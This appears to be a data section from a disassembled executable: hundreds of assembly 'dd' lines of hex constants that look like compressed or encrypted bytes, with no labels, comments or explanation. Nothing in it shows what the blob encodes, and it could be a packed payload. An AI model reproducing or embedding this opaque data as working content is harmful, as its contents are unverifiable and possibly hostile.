		dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h,	0EAFA270Eh
		dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h
		dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h,	477CE29Fh
		dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h
		dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h
		dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h,	0A2D0D6F5h
		dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h,	94D701EFh
		dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh
		dd 139629h, 0C9241C1Eh,	0FE0274B1h, 1ADC0900h, 0D280B8FFh
		dd 3B5E079h, 754F4304h,	7DD830D3h, 10017414h, 0C45B1FFh
		dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h,	341D0F65h
		dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h
		dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h
		dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h,	1E8AEB5h
		dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh
		dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h,	12EC04B9h
		dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h,	1EAED4A3h
		dd 8FCAA4E4h, 5A3DD69h,	0DCB87610h, 0D0018BD7h,	89DF6F62h
		dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h
		dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h
		dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h
		dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h
		dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah
		dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h,	34029CDDh
		dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h
		dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h
		dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh
		dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h
		dd 0CDE7B1h, 3A25A58Eh,	0E6AAEC29h, 93FA0044h, 0D01B9266h
		dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h,	0E60089A9h
		dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h,	758BDDh
		dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh
		dd 27841D5h, 0C327116Ch
		dd 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h
		dd 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h, 676F881h
		dd 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h,	232E04DFh
		dd 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h,	9854B34Ah
		dd 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h
		dd 0B062A7h, 42BFC963h,	1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah
		dd 124F1D5Bh, 9C5C044h,	2C464772h, 40703802h, 7D94C0AAh
		dd 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh
		dd 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h
		dd 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h,	9F0D9669h
		dd 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh,	0F0CBE693h
		dd 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h,	5A59A165h
		dd 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h,	5F51E0DCh
		dd 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh
		dd 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h
		dd 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h
		dd 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h
		dd 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh,	0F0A8E0D6h
		dd 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h,	0FC1807B2h
		dd 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh
		dd 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h
		dd 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h
		dd 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h,	0C8099412h
		dd 1B1697h, 0F9A8072Dh,	7CD15A58h, 0F0564500h, 0BA51F6E6h
		dd 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh
		dd 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh
		dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h
		dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h,	0E3C10012h
		dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh
		dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h,	565B5A02h
		dd 7F89760h, 8BFC12AAh,	40C2B7F3h, 789E7908h, 0B1A96000h
		dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh,	51E8AFF8h
		dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h
		dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh,	2C29BC6Dh
		dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh,	0ABE8C3C1h
		dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h
		dd 1C77CEEDh, 61E2BA6h,	814097AAh, 0E38D5426h, 5E280070h
		dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h
		dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h
		dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh,	891A0010h
		dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh
		dd 7ADF1DEh, 6600A5F3h,	2D5B1E29h, 51AABDh, 0CBCC734Ch
		dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h,	7C27785Eh
		dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h
		dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h
		dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh,	500EB3Bh
		dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch
		dd 10D008D4h, 0F831FCh,	1DD87D89h, 59226421h, 0AC1F34F8h
		dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h
		dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h
		dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh
		dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h
		dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh
		dd 1B88CCE8h, 0DC7EADh,	50E94151h, 0FBFE7DBh, 0BCDE6300h
		dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh,	0AC0040B0h
		dd 39B481B8h, 0F85BC5h,	0B6BE24FCh, 0DC224972h,	20581D73h
		dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h
		dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
		dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh,	0B6E0DE51h
		dd 505BAA8h, 64F9E3ECh,	0F195A50Ah, 54189107h, 8F200DBh
		dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h,	988603FDh
		dd 0C80A91D9h, 53AE5Bh,	175874DBh, 0EF0B4A4Eh, 0FF9CF018h
		dd 0EC7552h, 185F8068h,	0F4E363C1h, 0E02BA00h, 1E4E1077h
		dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
		dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
		dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
		dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
		dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
		dd 4C0092DFh, 11D46D0h,	0F87032h, 0F4F15DD5h, 0EC933C2h
		dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
		dd 8722703Fh, 0F5933Fh,	8F060F38h, 3BE30811h, 1680FA0Ah
		dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
		dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
		dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
		dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
		dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
		dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
		dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
		dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
		dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
		dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
		dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
		dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
		dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
		dd 80EDAD2Fh, 6890DD1h,	4938F800h, 5328BAC6h, 0CB150A91h
		dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h,	7F5ABAF0h
		dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
		dd 559D8A6h, 0E6A8C4Ah,	0B7D49C00h, 0BCCDA06Bh,	7AC40E11h
		dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
		dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h,	394F73C0h
		dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
		dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
		dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch,	0BF00493Eh
		dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
		dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
		dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
		dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h,	105E0BB9h
		dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
		dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
		dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh
		dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh
		dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h
		dd 1451006Ch, 9EE325Dh,	0E590028Ah, 4DD78970h, 0BE81D489h
		dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h,	1D451723h
		dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h
		dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h
		dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh
		dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh,	0FF046FE0h
		dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h,	9880E10Fh
		dd 0F94594h, 15086EEBh,	81C49610h, 67D38600h, 0A528F895h
		dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh
		dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h,	2421F800h
		dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h,	0F4CF45Dh
		dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h
		dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h,	0ACA754D9h
		dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh
		dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h
		dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h,	99D4004Ch
		dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h
		dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh,	88008398h
		dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh,	0DB98DB75h
		dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh
		dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh
		dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh
		dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h,	1B094892h
		dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h
		dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h
		dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh
		dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h,	84D4295Dh
		dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h
		dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh
		dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h
		dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h
		dd 64407A7h, 906A1863h,	86D89A3Bh, 10AE7B00h, 2474DC2Fh
		dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h,	5EEEE674h
		dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh
		dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h,	42D480A4h
		dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh
		dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh
		dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh,	3DE45570h
		dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h
		dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h
		dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h
		dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh
		dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh
		dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h
		dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h,	0C540EBA0h
		dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch
		dd 25F74Ch, 0F64C9B90h,	0B00507h, 0AFECE901h, 0D854DF4Dh
		dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh,	283C3043h
		dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah
		dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h
		dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch
		dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h
		dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh
		dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh
		dd 0DA097540h, 5A9780h,	7B517358h, 7D0CC5EBh, 257A4B00h
		dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h
		dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h
		dd 47C589h, 0F441A74Ch,	0DC867FDBh, 0DB80600h, 0CFA4D27h
		dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h
		dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h
		dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh
		dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h
		dd 1602546h, 4CBAC38Ch,	0DCB49535h, 0F7F420F8h,	4301200h
		dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch
		dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h,	0C4972CEh
		dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h
		dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh
		dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh
		dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch
		dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h
		dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h,	0B975A775h
		dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h,	8A0EAA01h
		dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h,	8A215350h
		dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h
		dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h,	0CB92Ch
		dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h
		dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh
		dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h,	0C3EA004Ch
		dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h
		dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh
		dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h,	24B82Fh
		dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h,	1C080037h
		dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h
		dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h,	0CFBFF4h
		dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h,	96B438F3h
		dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh
		dd 6032C824h, 68C0DE09h
		dd 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh,	15E2E100h
		dd 2CF0CC2h, 4409F806h,	0D7C0086Ch, 313F744Ch, 32D08303h
		dd 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh
		dd 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h
		dd 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h
		dd 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h
		dd 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h
		dd 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h
		dd 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h,	0E8F980AFh
		dd 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h,	8A058902h
		dd 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h,	9DF50120h
		dd 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh
		dd 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h
		dd 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh
		dd 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h,	7021004Ch
		dd 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h
		dd 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h
		dd 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch
		dd 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h
		dd 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h
		dd 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh
		dd 3B887410h, 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh
		dd 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch,	687702C4h
		dd 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h
		dd 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h
		dd 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah
		dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh,	0C8C00B7h
		dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh
		dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h
		dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h
		dd 46A2F82h, 8800A495h,	4178C646h, 91085B8h, 436DAC14h
		dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h
		dd 59FCF3D8h, 11A7EEAh,	2B1864E5h, 30C3113Ch, 2330B9CFh
		dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h
		dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h
		dd 64B0B8h, 0EC1BF1A2h,	831F3C32h, 0C7813A07h, 6E10D9A1h
		dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h
		dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h
		dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h,	800F7BB1h
		dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh
		dd 0EE80751h, 750B0C8h,	0F39087ACh, 8BFA683Ah, 0FC91F08h
		dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah
		dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch
		dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h
		dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h
		dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h
		dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h
		dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h
		dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h
		dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh
		dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h
		dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h
		dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h
		dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h
		dd 8BFC40h, 0DD8192C4h,	7245618Ah, 95D5BE00h, 552DD3FEh
		dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh
		dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh
		dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h
		dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h,	62C2BD7Ch
		dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h
		dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h
		dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh
		dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h
		dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch
		dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h
		dd 234E9C24h, 4BE2600h,	81664CCh, 30F070Ah, 0B3AE9FFEh
		dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h
		dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h
		dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h,	0BCAF0390h
		dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh
		dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h
		dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h
		dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h
		dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h,	0B3CF9C0h
		dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh
		dd 4518E869h, 58C4CB1h,	0CE0D8007h, 40BE408Eh, 0C050B372h
		dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch,	0DD265E5Ah
		dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h,	0AA984ED3h
		dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h,	290C0514h
		dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h
